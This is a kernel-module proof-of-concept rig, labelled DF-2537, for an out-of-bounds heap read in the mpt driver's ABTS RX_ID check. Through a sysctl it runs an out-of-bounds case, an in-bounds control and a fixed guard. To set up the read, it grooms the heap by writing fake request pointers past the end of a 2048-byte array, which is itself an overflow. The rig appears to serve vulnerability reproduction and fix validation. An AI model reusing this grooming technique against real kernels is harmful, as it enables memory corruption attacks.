/* * DF-2537 rig -- mpt_fc_els_reply_handler ABTS RX_ID bound check uses the * IOC-reported mpt_max_tgtcmds (port_facts[0].MaxPostedCmdBuffers) instead * of the allocated tgt_cmd_ptrs size (mpt_cam.c:4250-4256: * max = min(MPT_MAX_REQUESTS/2=256, mpt_max_tgtcmds)). * * Verbatim: the ABTS branch (mpt_cam.c:2995-3032) extracted by gen.sh. * IOC reporting MaxPostedCmdBuffers=512 makes rx_id in [256,512) pass the * :3004 check but index past the 256-entry array (OOB heap read) whose * result is dereferenced as request_t* via MPT_TGT_STATE. * * sysctl kern.dfv2537.run: 0 = ABTS rx_id=300 (OOB), 1 = control rx_id=100 * (in-bounds), 2 = FIXED model (check tgt_cmds_allocated instead). */ #include #include #include #include #include #include #include #include #include #include #include #define ABTS 0x81 /* mpt_cam.c:2759 */ static char df_logbuf[2048]; static int df_nlog; #define DFLOG(fmt, ...) do { \ int n = ksnprintf(df_logbuf + df_nlog, sizeof(df_logbuf) - df_nlog, \ fmt , ##__VA_ARGS__); \ if (n > 0) df_nlog += n; \ } while (0) /* logging interposition only */ #define mpt_prt(mpt, fmt, ...) DFLOG("mpt_prt: " fmt , ##__VA_ARGS__) #define mpt_lprt(mpt, lvl, fmt, ...) DFLOG("mpt_lprt: " fmt , ##__VA_ARGS__) static int mpt_abort_target_cmd(struct mpt_softc *mpt, request_t *req) { DFLOG("mpt_abort_target_cmd called with OOB req=%p\n", req); return (0); } /* (extract included inside df_run2537 below; the mpt_prt/mpt_lprt * logging macros above stay active for it) */ static char df_status[4096]; #define NREAL 256 /* mpt_add_target_commands alloc size */ static void df_run2537(int mode) { struct mpt_softc *mpt; request_t **ptrs; request_t *fake_req; uint8_t *vbuf; mpt_tgt_state_t *tgt; MSG_LINK_SERVICE_BUFFER_POST_REPLY rp_s; PTR_MSG_LINK_SERVICE_BUFFER_POST_REPLY rp = &rp_s; U32 elsbuf[8]; U8 rctl = ABTS, type = 0; char *p = df_status; int t = 0; uint16_t rx_id = (mode == 1) ? 100 : 300; mpt = kmalloc(sizeof(*mpt), M_DEVBUF, M_WAITOK | M_ZERO); mpt->port_facts = kmalloc(sizeof(*mpt->port_facts) * 1, M_DEVBUF, M_WAITOK | M_ZERO); mpt->port_facts[0].MaxPostedCmdBuffers = 512; /* IOC-reported */ /* the real allocation: min(256, 512) entries */ ptrs = kmalloc(NREAL * sizeof(request_t *), M_DEVBUF, M_WAITOK | M_ZERO); mpt->tgt_cmd_ptrs = ptrs; mpt->tgt_cmds_allocated = NREAL; /* the OOB region right after the array: groomed with a fake * request_t whose req_vbuf ends in a fake mpt_tgt_state */ vbuf = kmalloc(512, M_DEVBUF, M_WAITOK | M_ZERO); fake_req = kmalloc(sizeof(*fake_req), M_DEVBUF, M_WAITOK | M_ZERO); fake_req->req_vbuf = vbuf; mpt->ioc_facts.RequestFrameSize = 128; /* MPT_RQSL = 512 */ tgt = (mpt_tgt_state_t *)(vbuf + 512 - sizeof(*tgt)); tgt->reply_desc = (0xBEEF << TARGET_MODE_REPLY_IO_INDEX_SHIFT); tgt->ccb = NULL; /* groom: entries [256..] past the array point at our fake req */ { request_t **after = ptrs + NREAL; int i; for (i = 0; i < 128; i++) /* groom rx_id 256..383 */ after[i] = fake_req; /* in-bounds entry used by the control */ ptrs[100] = fake_req; } memset(rp, 0, sizeof(*rp)); rp->Rxid = htole16(rx_id); rp->Oxid = htole16(0x1111); rp->Rctl_Did = htole32((ABTS << MPI_FC_RCTL_SHIFT)); df_nlog = 0; df_logbuf[0] = 0; /* FIXED model: a pre-guard using the ALLOCATED size (what a fixed * :3004 check would do). Vulnerable modes fall through into the * VERBATIM block. */ if (mode == 2 && rx_id >= mpt->tgt_cmds_allocated) { DFLOG("FIXED guard: Bad RX_ID 0x%x (>= tgt_cmds_allocated " "%d) -- rejected before the array access\n", rx_id, mpt->tgt_cmds_allocated); goto done; } if (0) { ; /* the VERBATIM block begins with "} else if (rctl == ABTS ...) {" -- * its leading } closes this if(0) block */ #include "dfv2537_extract.h" } /* closes "if (tgt_req)" left open by the extract */ } /* closes "else if (rctl == ABTS ...)" left open */ skip: ; done: t += ksnprintf(p + t, sizeof(df_status) - t, "DF2537[mode=%d rx_id=%d]: tgt_cmd_ptrs=%d entries, " "mpt_max_tgtcmds=%d\n", mode, rx_id, NREAL, mpt->port_facts[0].MaxPostedCmdBuffers); t += ksnprintf(p + t, sizeof(df_status) - t, "DF2537: log: %s\n", df_logbuf); { void *p100 = mpt->tgt_cmd_ptrs[100]; void *p300 = mpt->tgt_cmd_ptrs[300]; mpt_tgt_state_t *tgtd = MPT_TGT_STATE(mpt, fake_req); t += ksnprintf(p + t, sizeof(df_status) - t, "DF2537: diag2 tgt->reply_desc=0x%x ct_id=0x%x " "RQSL=%d sizeof(tgt_state)=%zu\n", tgtd->reply_desc, (uint32_t)GET_IO_INDEX(tgtd->reply_desc), MPT_RQSL(mpt), sizeof(mpt_tgt_state_t)); t += ksnprintf(p + t, sizeof(df_status) - t, "DF2537: diag ptrs[100]=%p ptrs[300]=%p fake_req=%p " "(ptrs[300] is 352 bytes past the 2048B allocation)\n", p100, p300, fake_req); } kfree(vbuf, M_DEVBUF); kfree(fake_req, M_DEVBUF); kfree(ptrs, M_DEVBUF); kfree(mpt->port_facts, M_DEVBUF); kfree(mpt, M_DEVBUF); } static int dfv2537_sysctl(SYSCTL_HANDLER_ARGS) { char out[4096]; int error, v = 0; if (req->newptr != NULL) { error = sysctl_handle_int(oidp, &v, 0, req); if (error) return error; df_status[0] = 0; switch (v) { case 0: df_run2537(0); break; case 1: df_run2537(1); break; case 2: df_run2537(2); break; default: return EINVAL; } return 0; } ksnprintf(out, sizeof(out), "%s", df_status); return SYSCTL_OUT(req, out, strlen(out) + 1); } SYSCTL_PROC(_kern, OID_AUTO, dfv2537_run, CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfv2537_sysctl, "I", "dfv2537: 0=OOB300 1=ctl100 2=fixed"); SYSCTL_PROC(_kern, OID_AUTO, dfv2537_status, CTLTYPE_STRING | CTLFLAG_RD, 0, 0, dfv2537_sysctl, "A", "dfv2537 status"); static int dfv2537_load(module_t mod, int what, void *arg) { switch (what) { case MOD_LOAD: kprintf("dfv2537: loaded\n"); return 0; default: return 0; } } static moduledata_t dfv2537_mod = { "dfv2537", dfv2537_load, NULL }; DECLARE_MODULE(dfv2537, dfv2537_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);